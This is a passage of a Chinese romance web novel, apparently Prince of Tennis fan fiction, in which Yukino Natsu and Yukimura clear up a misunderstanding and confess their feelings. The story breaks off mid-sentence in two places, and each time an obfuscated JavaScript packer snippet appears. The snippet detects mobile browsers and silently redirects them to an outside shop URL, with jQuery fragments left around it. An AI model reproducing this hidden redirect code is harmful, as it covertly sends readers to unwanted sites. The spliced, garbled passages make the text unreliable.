“方便和我说说吗?说不定能给你出点主意。”雾岛没有跑根底,而是把选择权交到对方手上。 窗外的风轻轻吹动窗帘,时间在寂静里流淌了片刻。 “……他好像,”臂弯里传来闷闷的声音,轻得几乎听不清,“说了些让人不知道该怎么回应的话。” “比如?” “比如……”她犹豫了一下,简单地复述了一下天台上的对话,末了又像是不确定般补上一句,“但也许……是我会错意了。” 雾岛了然地点点头,指尖在桌面上轻轻点了点。 “幸村君啊,看起来温柔无害,其实心里比谁都清楚自己在做什么。”她顿了顿,声音里带着调侃,“像他那样的人,一旦确定了目标,行动往往比言语更直接。” 雪野夏从臂弯里抬起眼,歪了歪头:“行动?” 她想起幸村似乎每周都会邀请自己,去看展、去画室或是去写生,然后送她回家……本来她还觉得没什么,被雾岛这么一说,一切仿佛都有迹可循了。 “所以你的意思是……”她眸光闪烁,像是发现了什么不得了的真香,“不是我的错觉,他就是那个意思。” “嗯?怎么一副这么困扰的表情?”雾岛轻笑,伸手轻轻点了点她的额头,“能被幸村君那样的人告白,是多少女生羡慕的事。” 她稍稍倾身,试探地问她:“难道说,你对他没感觉?” “那倒也不是,”雪野夏又将脸埋进臂弯,“和他在一起时,心跳会不自觉加快,看见他笑也会跟着开心……” “那这样不是很好吗?你喜欢他,他也对你有意,明明是两情相悦的好事呀。” “可是……” 雪野夏停顿了许久,才像叹息般轻声说道: “可当那些话真的被他亲口说出来之后,心里那种一直怦怦直跳的悸动,反而忽然安静下来了……就像一壶沸腾的水,突然被抽走了柴火。” “我也不知道该怎么形容这种感觉……好像就在那一刻,一切都变得不一样了。” 雾岛眨了眨眼,忽然弯起嘴角,露出一个“我懂了”的表情。 “简单来说就是——你本来挺喜欢这个人,但发现他也喜欢你之后,反而没那么喜欢了,对吧?” 雪野夏怔了怔,睫毛轻轻颤了一下,最终还是点了点头。 “哇哦,”雾岛拖长了语调,眼里漾开明亮又带着揶揄的笑意,“你这个人,多少有点‘变态’哦。” 变、变态?! 雪野夏的脸颊瞬间漫开一层薄红,下意识反驳:“不是那样的……” “那你是什么样呢?”雾岛歪了歪头,笑容不减,“喜欢追逐的感觉,胜过喜欢那个人本身?” “这不就像小朋友追着泡泡跑吗?泡泡飘得越远,越想抓住;可一旦真的捧在手心里,‘啪——’,就没意思了。” 风穿过半开的窗户,撩动窗帘。远处传来隐约的球击声,清脆又遥远。 雪野夏低头看着自己的指尖,低声嘀咕了句: “不,这不一样的。我只是……害怕而已。” “怕什么?” “怕他喜欢的,他眼里所看见的,并不是真实的我。”她停顿了一下,眼神迷茫地看向虚空。 她怕这一切只是月光下的错觉,月光看起来是那样明亮,但其实会让人根本看不清事物本来的样子。 雾岛安静了几秒,笑意渐渐敛去。 “那你要逃吗?”她问,温和的注视着她,“在他开口之前,先转身离开。” “我……”雪野夏动了动嘴唇,终是没有给出回答。 她不知道。 她也是第一次遇到这样的事,不知道该怎样面对。 这种心情一直持续到晚上。一夜辗转难眠。 —— 第二天早晨,她比平时更早到学校。 但若早知道会发生后来的事,她宁愿在出门前睡个回笼觉,多耽搁一会儿。 在通往教学楼的花坛前,一个男生拦住了她的去路。 “雪野同学,我喜欢你,请和我交往。” 男生九十度躬身,递到面前的信封上,画着爱心,字迹工整地写着“雪野夏收”。她一时怔在原地。 这个人是谁?为什么会突然说这样的话?大脑一片空白,第一反应是拒绝。 “……抱歉。” 这两个字说完之后,她不知该接什么。 告白的男生直起身,两人就这样面对面站着,大眼瞪小眼,空气里浮起一层尴尬的死寂。 “是因为……你有喜欢的人了吗?”男生问。 见她没有回答,他又低声说下去:“是幸村君吗?” 听到那个名字,雪野夏垂在身侧的手指无意识地蜷了下。 “我看到你们经常在一起。如果是幸村君的话,我确实没有胜算呢。”男生像是自嘲般地笑了笑,随后陆续说了许多贬低自己的话。 不知为何,雪野夏仿佛看见他正站在一个黑色的漩涡里,不断地往下陷落。某一个瞬间,那个陷落的人,变成了她自己。 “不是这样的……”雪野夏打断他。 她不知道是想让将他从那个漩涡里拽出来,还是想拽出来的是自己。 “和幸村君没有关系。我和他,只是普通朋友而已。” 男生的眼睛亮了一瞬。 “谢谢你的喜欢,”赶在他开口前,雪野夏堵住了他的话,“但我对恋爱没有兴趣。抱歉。” 男生眼中的光黯淡下去。他扯了扯嘴角,最终只说了一句“打扰了”,便转身匆匆离开。 雪野夏轻轻呼出一口气,正想快 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这天放学后,她在楼梯口遇到了幸村。见四下无人,她深吸一口气,然后叫住了他。 “幸村,今天放学后要一起去喜茶吗?他们家出了新的联名款,看起来很不错。”她尽量让自己的声音听起来轻快。 幸村脚步一顿,像是有些意外。 他转过脸,眉眼弯出柔和的弧度,语气礼貌却疏离:“抱歉,今天约了和真田他们商量关东大赛的出场顺序。而且……” 他顿了顿,嘴角含笑,但笑意未达眼底,“如果让大家看到我和雪野桑一起,会给你带来困扰吧。毕竟——” 他轻轻吐出那几个字,“我们只是普通朋友而已。” 雪野夏的瞳孔微微一颤。 雪野桑?他换了对她的称呼。 他的笑容和煦,可眼睛里没有温度。那句她亲口说出的“只是普通朋友”,如今像一枚回旋镖,“嗖”地一声扎回自己心口,闷得她几乎喘不过气。 更尴尬的是,当她魂不守舍地继续下楼时,在转角看到了另一个人。 她的邻桌,柳生比吕士,正神色平静地看着她。 雪野夏僵住:“……你都看到了?” “什么?”柳生推了推眼镜,镜片反过一道白光,完美诠释了何为“装傻”。 雪野夏不想和他说话,越过他走了。 —— 这天傍晚,网球部结束训练。 仁王雅治懒洋洋地靠着铁丝网,目光掠过正滑动手机屏幕、似乎在浏览喜茶广告的幸村,悠悠开口:“puri,部长最近心情不好吗?还是说……” 他银蓝色的眼睛里闪过一丝狡黠,“和雪野桑闹别扭了?” 幸村指尖一顿,笑容无懈可击:“怎么会这么想?” “因为空气密度好像变大了嘛,沉甸甸的。”仁王把玩着自己脑后的小辫子,“因为那天早上花坛边的事?” 幸村没有回答,屏幕的光映在他脸上,明明灭灭。 “虽然听到的话确实有点伤人啦……”仁王话锋一转,语气里带着点看透一切的调侃,“不过,女孩子在那种急着摆脱告白的混乱场面下说的话,真的能全信吗?为了避免给无辜的人添麻烦而搬出‘普通朋友’这种万能挡箭牌,不是很常见的操作吗?” 幸村依旧没应声。他眼睫低垂,遮住了眸中复杂的情绪。 与此同时,文学部活动室。 雪野夏支着下颌,又在对着窗外发呆。 13.顺风快递 “你还在为那句‘普通朋友’纠结?” 雾岛星罗卷起手中的杂志,轻轻敲了敲女生的脑袋。 雪野夏手腕脱力,把脸埋进臂弯,声音闷闷的传来:“怎么连你都知道了?” “学校都传遍了好吗?说你在被告白时当场撇清和幸村君的关系,结果还被正主听了个全场。”雾岛顿了顿,决定还是不说出更离谱的版本 ——比如“幸村君告白二年A组转学生,遭无情拒绝”这种已经衍生出数个变体的校园传说。 “明明喜欢得要命,却偏偏嘴硬说出那种违心的话,现在又在这里自我折磨。雪野,你是在惩罚谁呢?” “请不要和我说话,我想静静……”夏发出一声哀鸣,把脑袋埋得更深了。 —— 活动结束后,夏独自回家。 夕阳把街道染成暖黄色,她的影子在身后拉得很长。 走到十字路口旁的便利店时,自动门“叮咚”一声滑开,柳生比吕士拎着塑料袋走了出来。 她下意识想移开视线假装没看见,可偏偏就在那一瞬间,对上了他的目光。 “柳生君。”她硬着头皮打招呼。 柳生推了推眼镜:“雪野同学。好巧。” “刚结束训练吗?” “嗯,顺便补充点物资。”他示意了一下手里的塑料袋,“要一起走一段吗?” “……好。” 两人并肩走在染着夕晖的街道上。 柳生比平时更沉默,夏也找不到合适的话题。 他们之间总萦绕着一种微妙的氛围。像是很熟悉,却又隔着某种礼貌的陌生。 “雪野同学,”柳生忽然开口,“你最近……还好吗?” “嗯?”夏有些意外,“为什么这么问?” “只是感觉你周围的气压有点低。”柳生的语气平稳无波。 “……” 又沉默走过一个街区后,柳生再次开口:“如果遇到什么困难,可以找我。” “为什么?”夏停下脚步,转头看向他,“我们其实……不算很熟吧?” 柳生也停了下来。逆着光,夕阳从他身后勾勒出身形轮廓,脸上的表情藏在阴影里,看不真切。 “因为,语言的杀伤力,有时候远超你的想象。”他缓缓说道,声音比平时更低沉几分。 “我曾经因为一句不恰当的话,让一个很重要的人受了伤。所以现在,我不想再看到有人重蹈覆辙。” 夏愣住了。 虽然看不清他的表情,但在那一瞬间,她感觉到他看向自己的眼神,很悲伤。 “柳生君,”她听见自己说,“虽然我不知道具体发生过什么,但我觉得,你不必为过去的事惩罚自己。” 柳生一愣。 “你说得对。”他最终说,“但有些事,不是说放下就能放下的。” 他们走到岔路口,该分开了。 “我走这边。”夏指了指左边。 柳生点点头,在转身前,他又开口:“雪野同学。” “嗯?” “幸村其实很好哄的。他想要的,无非是‘被坚定地选择’这个事实而已。只要让他感受到这一点,你们就能和好如初。” 夏心头一紧:“你为什么告诉我这些……” “因为我看得出来。”柳生温和地打断了她,“也因为他是我重要的队友和朋友。我不希望任何人受到伤害,无论是你,还是他。” 说完,他转身走向另一条路,背影在漫长的夕照中渐渐拉远。 夏在原地站了很久。 风从四面八方吹来,带来初夏夜晚的气息。她感觉心里突然空了一块,仿佛有什么重要的东西在这一瞬间消失了。 她摇了摇头,没再多想。深吸一口气,继续往家走。 - 来到三楼时,夏的脚步顿住了。自家门口,醒目地立着一个熟悉的巨大行李箱。 “哟~终于回来了。” 循声望去,女人正倚在栏杆边,听到脚步声转过头来。傍晚的光线勾勒出她利落的侧影,指尖一点猩红,烟雾袅袅。 “妈?”夏有些惊讶,“您怎么来了?不是说明天才到吗?” “想给你个惊喜嘛,”雪野妈妈将烟在便携烟灰盒里按熄,冲她狡黠地眨眨眼,目光在她身后逡巡了一下,“顺便……突击检查一下,看看我传说中的未来女婿候选人长什么样。” “您就别打趣我了。”夏叹了口气,掏出钥匙开门,从鞋柜里拿出备用拖鞋放在地上,“这次能待多久?” “大概一星期左右吧,有个项目在这边。”雪野妈妈利落地换好鞋,拖着行李箱进屋,好奇地打量着房间。 “嗯,收拾得还挺干净,看来没被爱情冲昏头脑嘛。” 夏:“……都说了我没有谈恋爱。” - 周末两天,雪野妈妈带着女儿在神奈川进行了一番怀旧之旅,品尝美食、游览旧地,玩得酣畅淋漓。 只可惜乐极生悲,周日晚上,夏开始觉得喉咙发痒,到了周一清晨,已经头晕鼻塞,浑身乏力。 “38.5℃。”雪野妈妈看着体温计,有些无奈地揉了揉额角,“玩脱了吧?我和山岸老师说一下,今天就在家好好休息。” 夏整个人缩在被子里,只露出微红的鼻尖和一双无精打采的眼睛,闷闷地“嗯”了一声。 这都六月份了,她竟然还会感冒。 “我上午有个客户会议,大概下午三点左右回来。午餐给你放在冰箱里了,记得用微波炉热一下就可以吃。” 妈妈倒了杯温水放在床头,拿起手提包,走到门口又回头不放心地叮嘱,“不舒服随时给我打电话。” “知道啦……”被子里传来含糊的、带着浓重鼻音的回答,“我又不是小孩子了。” 在家休养了两天,夏的体温总算恢复了正常。 周三下午,雪野妈妈提前回到了公寓,手里拎着好几个鼓鼓囊囊的购物袋。 “买了什么呀?”夏正坐在客厅矮桌前温习落下的功课,见状好奇地抬头。 “一些食材。”雪野妈妈一边换鞋,一边提着袋子往厨房走,“你这几天生病,得好好补补。而且你一个人在这边,也多亏了山岸老师照拂。我想着今晚请他在家吃顿便饭,聊表谢意。” “啊?在家里?”夏愣了一下,手里的笔停了下来。 “是啊,已经和老师说好了。” “呃(⊙o⊙)……”夏一时语塞。 她要不要告诉妈妈,其实自己和这位班主任私下接触并不多?而且在家里招待班主任,总有种微妙的“课堂延伸”感,仿佛被迫开了个家庭补习班。 想必老师本人也会觉得有些拘束吧?下班了还要见到学生,这和被迫加班有什么区别? “山岸老师……答应了?” “答应了呀。”雪野妈妈笑起来,开始从袋子里往外拿新鲜的蔬菜和肉类,“他起初挺客气地推辞,但我说起自己拿手的可乐鸡翅和香菇酿肉,他就很爽快地改口了。” 夏:“……” 原来山岸老师是个隐藏的吃货? “不过话说回来,”雪野妈妈一边处理食材,一边闲聊,“你们这位山岸老师真是年轻有为,一表人才。在学生里应该很受欢迎吧?” “嗯……还行吧。”夏回想了一下班级里的议论。 女生们普遍承认他长相端正,但总人气并不太高,认为他气质偏冷,有点“生人勿近”的气场,让人不敢轻易接近。 - 立海大网球部社办活动室,刚结束训练冲完淋浴的少年们身上还带着清爽的水汽。 丸井文太一边吹着泡泡糖,一边活力十足地提议:“大家——要不要一起去车站前那家新开的甜品店开学习会?据说他们的草莓巴菲超——级赞!” 地区预选赛刚结束,紧接而来的是都大赛的备战,但在那之前,一座更现实的大山横亘在众人面前——月考。 尤其是想到又要给切原赤也那个令人头疼的低空飘过的学弟补习功课,各位前辈们周遭的空气仿佛瞬间沉重了几分,连仁王雅治这只快乐狐狸都焉儿吧唧的了。 “抱歉,今天我就不去了。”真田弦一郎已经一丝不苟地穿戴整齐,沉声开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018902|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他背起网球包,语气严肃,“雪野同学请假三天了。下周一的数学竞赛,数学老师替她报了名,托我把复习资料给她送过去。” 正在系鞋带的幸村精市动作顿了一下。 系好鞋带,他直起身,目光先是落在真田手中的文件夹上。随即,他转向真田,脸上自然而然地浮现出那抹一贯温和、令人安心的笑容。 “弦一郎还是和莲二一起去‘特别关照’赤也的功课比较好。没有你在场镇着,那家伙怕是一个单词都不愿背,到时候补考又要麻烦柳重新制定计划了。” “至于雪野桑的复习资料……正巧,我回家的路刚好经过她家附近,就由我顺路送过去吧。” 他顿了顿,又补充了一个理由,让提议显得更加圆满自然:“而且,上周雪野桑问我那本园艺图鉴,我也正好可以一并带过去给她。” 理由充分、合理,又体贴地分担了队友的任务。阳光透过社办的窗户,落在他精致的侧脸上,那笑容无懈可击,真诚得让人挑不出任何毛病。 真田思索片刻,觉得安排并无不妥,便点了点头,将装有资料的文件夹递给幸村:“啊,那就拜托你了。” “交给我吧。”幸村微笑着接过。 丸井在一边眨眨眼,吹出一个大大的泡泡:“诶——部长好体贴哦。” 柳生比吕士在一旁推了推眼镜,镜片微光一闪,没有作声。 仁王雅治则歪了歪头,狐狸眼睛里掠过一丝了然的笑意,轻轻“puri”了一下。 幸村仿若未觉这些细微的调侃,从容地整理好自己的物品。与众人道别后,他带着那份资料离开了活动室。 - 傍晚时分,门铃准时响起。 夏跑去开门,山岸知明站在门外。他换下了平时在学校穿的西装,一身简约的休闲装束,少了些讲台上的严肃,但那副黑框眼镜后沉静的目光依然引人注目。 “晚上好,山岸老师,请进。”夏侧身让开。 “打扰了。”山岸微微颔首,礼貌地走了进来。 “一点心意。”他递过一个纸袋,上面印着神奈川一家颇有名气的甜品店标志。 厨房里传来诱人的香气和锅铲翻炒的声响,雪野妈妈闻声探出头,笑容满面:“山岸老师来啦!快请坐,饭菜马上就好!” 晚餐气氛比夏预想的要轻松许多。 妈妈很擅长聊天,山岸老师虽然话不多,但接话得体,偶尔还会流露出对美食的真诚赞赏。尤其在尝到可乐鸡翅时,那份克制的满意神情相当明显。 饭后,雪野妈妈将几个准备好的保鲜盒装进袋子:“山岸老师,这些多做的菜您带回去吧,加热一下就能吃,省得再开火了。” 山岸略作推辞,但拗不过主人的热情,便礼貌道谢收下。 等他走到玄关准备换鞋时,雪野妈妈才忽然想起什么,轻轻“啊”了一声:“瞧我这记性,忘了柏林带回来的手信。” 她转向女儿,“小夏,去把我放在柜子上的那个牛皮纸袋拿给老师。” “哦,好。” 夏拿着手信出来时,山岸知明已经出了门,正要关门离开。 “山岸老师,请等一下。” 她提着那个颇具分量的纸袋,朝门口小步跑去。跨过门槛时,她被门口那块旧地毯绊了一下。 “啊!” 身体瞬间失衡,本能地向前踉跄。 山岸反应极快,几乎是瞬间转身,伸手,稳稳扶住了她的手臂。 从旁人的视角看去,那姿态像极了她整个人“扑”进了对方怀里,连带着山岸手里的甜品袋和保鲜盒都轻轻晃了晃。 “抱、抱歉!”夏连忙借力站直。 余光瞥见楼道转弯处,似乎立着一个身影。 她下意识地转过头。 心脏猛地一跳,睁大了眼睛。 幸村精市站在那里,一手拿着一个印有学校徽章的文件袋,另一只手提着一个喜茶LOGO的纸袋。 逆着楼道窗透进来的微光,落在他身后,脸上的神情看不真切,但那份存在感本身,就让夏的呼吸瞬间凝滞。 “幸村?!” 14.C14 幸村精市也没想到自己会撞见这样一幕。 来的路上,他反复思量,觉得这或许是打破僵局的一个契机。 路过那家熟悉的奶茶店时,鬼使神差地,他想起了她之前提过的新品联名。 脚步顿了顿,他还是走了进去,买了两杯。 拎着奶茶和笔记资料,他心底掠过一丝连自己都没有察觉到的期待。 走上三楼,他记得她住在302。 刚要向那个方向走去,那扇门从里面打开了。 一个身形颀长、穿着休闲的男人走了出来。男人看上去约莫三十岁,气质 沉稳,相貌是那种经过岁月打磨的英挺。 紧接着,夏的身影出现在门口,手里还提着东西。 再然后,在幸村尚未完全反应过来的视线里,她整个人向前一倾,那个男人转过身,极其自然地伸手,将她接了个满怀。 幸村脸上的表情顿时凝固了。 所有的血液在那一刹那冲上头顶,又在下一秒褪得干干净净,只剩下刺骨的冰凉。 手中那份“破冰”的奶茶,忽然变得无比沉重,甚至有些可笑。 难怪...... 他只是普通朋友。 原来在她的生活里,存在着如此成熟、如此理所当然可以登堂入室的“特别的人”。 那些连日来辗转的思绪,那些试图迈出一步的犹疑与勇气,那些隐忍不发的纠结......在这一刻,被眼前这“温馨”的一幕撞击得粉碎。 他下意识地转过身,几乎是逃也似地,快步走向楼梯间。 - “幸村?!” 夏回过神来,心重重一沉。 她手忙脚乱地将手里的牛皮纸袋塞到山岸老师手中,径直追了出去。 “雪野?”山岸知明接住东西,看着她瞬间消失在楼梯口的背影,有些状况不明。 “怎么了?小夏呢?”雪野妈妈听到动静,也来到玄关。 “好像是她同学来了,有点急事。”山岸简短地回答,镜片后的目光若有所思。 夏飞快地冲下楼梯,心脏在胸腔里狂跳。 “幸村!你等等!” 追到一楼与二楼之间的转角平台时,她因为太过急切,脚下在最后一级台阶上绊了一下,惊呼一声,整个人失去平衡,顺着最后几阶滑了下去。 预料中的疼痛没有到来。 一双有力的手臂稳稳地接住了她,将她整个护在了怀里。 熟悉的气息萦绕过来,将她包围,混合着很淡的花清香和阳光味道。 多日来积压的委屈、懊恼、思念,以及刚刚目睹他离去时那巨大的恐慌,在这一刻如同决堤的洪水,让她在他温热的怀抱里不可抑制地轻轻颤抖起来。 幸村本来想推开她的,可是感受她在发抖,悬在半空的手终究没舍得落下来。 他垂下眼眸,那双总是如沐春风的紫蓝色眼眸,此刻深沉如海,翻涌着波澜,紧紧锁住她。 咫尺之距,呼吸相闻。 空气仿佛都凝固了。 先开口的是夏。 她仰起脸,因为剧烈奔跑和情绪冲击,脸颊泛着红晕,眼眶也湿漉漉的: “幸村,那天我说的话......是反的。” “是反话啊。” 幸村手指蜷缩,不自觉地收紧。但他依然沉默,只是用那双深邃的眼睛凝视着她,等待下文。 “我拒绝那个人,不是因为我对恋爱没兴趣,而是因为......”她的声音带着细微的颤抖,却努力让自己说得清晰。 “而是因为我心里,早就被某个人塞得满满的,没有多余的位置可以留给其他人了。” 她停顿,深吸了一口气,仿佛在用尽所有勇气: “我说‘只是普通朋友’,是因为我害怕......怕一旦承认了那份‘特别’,会让你感到困扰,更怕自己其实根本配不上那样的‘特别’。” “你站在那么耀眼的地方,光芒万丈,而我......”她的声音低了下去,哽咽到几乎发不出声音。 过了好一会,她稍稍平复一些。 “我这样的人,怎么敢奢望与你并肩。” “所以,那天我说的每一个字......都是反话。” 终于说出来了。 幸村静静地听着,良久,才极轻、极缓地叹了一口气,那叹息里带着无奈,也带着如释重负的温柔。 “困扰?”他重复这个词,声音低沉得仿佛在她心弦上拨动,“夏,你大概从来不知道,你出现在我的世界里,究竟意味着什么。” 他稍稍松开了手臂,俯身凝视着她,距离近得能看见彼此眼中的倒影。 “听到那句话时,我确实很受伤。”他低声说,“这些天,我也一直在反复想,是不是我太过自以为是,一厢情愿地给你带来了困扰。” “但现在,你又对我说了这些......让我忍不住又开始‘想太多’的话。” 他专注地望进她的眼底,声音放得又轻又郑重,仿佛在确认一件无比重要的事: “所以,现在可以清楚地告诉我吗?” 幸村注视着她,一字一句地问:“对你而言,我究竟是谁?真的只是‘普通朋友’吗?” “......不是。” 夏强忍的眼泪,终于在说出这两个字时溢出眼眶。 她哽咽着,用清晰有力的声音对他说: “你才不是什么‘普通朋友’!” “你是幸村精市,是我......是我最喜欢的人。” “是我回到神奈川后,遇见过最惊心动魄的风景。” “因为遇见了你,连这里的风、这里的阳光、甚至海潮的味道,都变得和别处不一样,都比我从前待过的任何一个地方更让我留恋。” 她吸了吸鼻子,又接着说: “刚才你看到的也不是你以为的那样!那是我们班主任山岸老师,只是因为家里长辈有些交情,妈妈这次回来才特意请他吃顿便饭,感谢他平日的关照!” “真的只是这样!”她望着他的眼睛,一瞬不瞬地再次强调,“我和他没有任何关系!” 幸村看着她眼眶通红,脸颊也涨红,混着湿濡的泪珠,一幅恨不得立刻剖心明志,甚至切腹自尽以证清白的急切模样,心脏像是被温热的潮水浸泡,咕咚咕咚地,一下比一下跳得重。 那些淤积多日的阴霾、猜疑和酸涩,都在她带着哭腔却异常坚定的告白里,被冲刷得干干净净。 下一秒,他再也忍不住,如释重负般,毫不掩饰地笑了出来。 他的笑容从眼底漾开,像初春破冰的湖面,漾开真实而温柔的光。 ......好喜欢。 他真的好喜欢她。 喜欢到心脏微微发疼,喜欢到想要立刻将眼前这个胆怯又无比勇敢、哭得梨花带雨却比任何时候都闪闪发光的她,紧紧拥入怀中。 身体比意识更先一步,微微前倾。 就在这时—— 楼梯间上方传来了脚步声。 那声音像一记警铃,让他抬起的手臂在空中蓦然停顿住,然后自然地垂回了身侧。 汹涌的情感被理智暂时拦回堤岸,但眼底那浓得化不开的温柔与悸动,却无论如何也藏不住了。 夏也察觉到了他那一瞬间未竟的动作,以及此时看向她的愈发深邃的目光。 女孩脸颊刚刚褪下去的红晕,又悄无声息的爬了上来。 一种微妙又甜稠的寂静,在两人之间弥漫开,连空气都仿佛变得稀薄而温热。 脚步声渐近,伴随着熟悉的嗓音: “已经出门了,嗯......20分钟后 Blue Bar 见。拜拜~” 是雪野妈妈。 两人几乎是同时从那种胶着的对视中回过神来,然后迅速调整着各自的表情。 夏慌忙用手背蹭了蹭湿漉漉的眼角,幸村则悄悄地吸了一口气,脸上恢复了惯常的从容淡定,只是那微微上扬的唇角,和眼中残留的星点笑意,依旧藏不住心底的喜悦。 雪野妈妈走下楼梯,目光扫过两人之间那尚未完全散去的,某种“特别”的氛围,又看了看女儿泛红的眼睑和少年手中提着的奶茶袋,眼底掠过一丝了然的笑意。 “妈......”夏喏喏唤了一声。 雪野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030466|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈微笑着应了一声,视线落到幸村身上。 “这位就是幸村君吧?常听小夏提起。”她态度自然又亲切,仿佛只是偶遇女儿的朋友。 “伯母您好,我是幸村精市。初次见面,打扰了。”幸村礼貌地欠身,姿态无可挑剔。 只是,发梢随着动作浮动,露出的耳根,残留着一丝未褪尽的薄红。 “你好。”雪野妈妈应着,随即转向女儿,语气寻常得像是什么都不知道,“我刚接到电话,约了老朋友出去一趟,可能会晚点回来。” 她顿了顿,目光扫过两人,意有所指地对女儿说,“你病才好,别再跑出去吹风了,在家好好休息。” 说完,她的视线似是无意地掠过幸村,又看了看自家女儿,嘴角弯了弯:“既然幸村君都到楼下了,还特意带了东西......” “小夏,请同学上楼坐坐吧,总不好让人家一直站在楼道里。你们年轻人聊聊天,正好你也需要人陪陪。” 话音落下,她也不等两人反应,便对幸村再次温和地笑了笑:“幸村君,我家小夏就麻烦你一会儿了。请随意,就当自己家一样。但是不能做色色的事哦~” “妈!”夏脸颊瞬间爆红,羞得恨不得找个地缝钻进去。 “我先走了,你们好好玩。”雪野妈妈仿若未闻,步伐轻快地转身下楼,留给两个年轻人一个意味深长的、堪称“神助攻”的背影。 楼道里重新安静下来。 方才被脚步声打断的那种微妙而甜蜜的氛围,带着一丝被长辈“看穿”后的尴尬,以及心照不宣的悸动,此刻加倍地升温弥漫。 夏低着头,手指无意识地绞着衣角,感觉脸上的热度快要烧起来了。 “那个......”幸村清咳一声,率先打破了沉默。 他提起手中的袋子,声音里带着未尽的笑意,以及些许初次恋爱的少年人该有的赧然。 “联名新品,我记得你说想试试。现在......还喝吗?” 夏悄悄抬眸,飞快地看了他一眼。他正温柔地注视着她,目光里像是沉淀着某种期待。 她心尖一颤,软软地点了点头。 “那,”幸村的声音放得更柔和了些,诱哄般的语调,“不请我上去坐坐吗,雪野......桑?” 最后那个称呼,他故意拖长了音调,带着明显的促狭和亲昵,仿佛在重温又告别那个曾带来误会的“头衔”。 夏怔了一下,撞进他含着笑的亮晶晶的眼睛里。所有的不安、羞涩,都被那温柔而笃定的目光熨帖了。 她抿唇,也忍不住弯起了嘴角。 那份属于少女的羞怯里,掺入了勇敢的甜意。 “......嗯。请上来吧。” 她眼尾微微上挑,学着他方才的语调,故意拖长了气音,像只狡黠又害羞的猫:“幸~村~君~” 话音刚落,她自己似乎先被这大胆的“反击”羞到了,没等他反应,便飞快地转过身,哒哒哒地跑上了楼梯,只留下一个仓促又轻盈的背影,空气中残留着一缕若有似无的清淡香气,那是属于她身上的味道。 幸村站在原地,怔了一瞬,随即低低地笑出声来。 他抬步跟上,不紧不慢,在她身后保持一步之遥。看着她的背影和微微泛红的耳尖,心底那片柔软的湖,被春风拂过,漾开一圈圈止不住的涟漪。 紫蓝色的眼眸里流光溢彩,毫不掩饰的愉悦和笑意,满得要溢出来。 误会冰释,心意相通,迟来的奶茶与即将开始的独处时光...... 雪野桑。 幸村君。 曾经礼貌而疏远的称谓,此刻在唇齿间回味,竟沾染上了隐秘的甜,成了心跳加速的浪漫调情。 楼梯不长,两分钟便到了门口。 夏拧开门,自己先进去。 手搭在门把上,侧过身看他,脸上的红晕还未完全褪去,眼神亮晶晶的,带着一点羞涩和期待。 “房间很乱,你不要嫌弃。” 幸村走到她身边,稍稍俯身,手撑在她身后的玄关柜,声音压得低而温柔,带着气音: “那么......我进来了,雪野桑。” 15.C1-15 放学前十分钟,天空黑得跟教导主任的脸似的,一副“今天不淋死几个学生算我输”的架势。 雪野夏托着腮,发出了不知道今天第几十次叹息。 完蛋,她没带伞。 离放学时间越来越近,她甚至开始虔诚祈祷:雨神啊雨神,你等我到家躺沙发上后再下,可以吗? 然而,雨神似乎也只想赶紧干完活下班,压根没空理她。 放学铃声刚响,酝酿已久的暴雨就像接到了信号,“哗”一声直接从穹顶泼下来,毫不留情。 “夏夏——”前排的渡边一花转过身来,双手合十,一双圆眼睛眨巴眨巴,满是恳求地看着她,“可以帮我一个忙吗?” “……你说。” “今天本来轮到我和小林值日,但是今天是我外婆生日!妈妈刚刚发消息说,她已经在校门口等我了,所以……”渡边的声音越说越小,意思却再明白不过。 夏心下了然。 “可以啊,你去吧。”她挥挥手,一副“朕准了”的表情,“值日我帮你做就好。” “真的吗?!”渡边表演了个变脸,笑得像中了彩票。 她感激地握住夏的手,“我爱死你了夏夏!下次你的值日包在我身上!” “你上个月也是这么说的。” “……这次是真的!” 做完值日,雨还在下,跟天漏了似的。 夏坐在教学楼玄关,望着雨幕发呆,认真思考人生三大难题:等雨停?冲进雨里?还是打电话让老妈送伞然后听她唠叨半小时? 正当她纠结时,头顶光线暗了一瞬。 一抬头,一把深蓝色雨伞在头顶绽开。 夏转身,视线顺着伞柄往上。 一只好看的手,白皙似玉,骨节分明。 再往上,一张好看的脸,风华绝代。 是幸村精市。 他垂着眸,正看着她。 雨水敲打地面的声音,仿佛一下子变得遥远了。 “没带伞?”他问,声音被雨声浸得低哑,听起来格外苏。 夏仰着脸,看着他那张“老天爷偏心捏出来的脸”,点了点头,喉咙里挤出一个字:“嗯。” “一起走吧。” 不知是不是因为伞下过于私密的空间,他温润的语调落到她耳朵里,像静电一样让人心跳漏拍。 耳朵不自觉地热了起来。 “……谢谢。”她小声应道。 两人并肩踏入滂沱的雨幕,距离近得几乎能感受到对方身体的热度。衣袖偶尔相擦,体温隔着衣料传递,谁也没有说话。 伞外雨声哗啦,伞内安静得呼吸可闻,能听见自己的心跳声。 ……救命,这气氛。 夏在心里呐喊:说点什么啊!随便什么都行!比如“今天雨真大”或者“你昨天看了什么电视剧”。 但她嘴巴像被胶水粘住了,一个字也蹦不出来。 这种微妙的尴尬,从昨天就开始了。 昨晚幸村进门后,两人面对面喝奶茶,气氛有些尴尬。最后是幸村提出来,要不然把老师留的课后作业写了。 在她家的矮桌前,两人并排坐着写作业。 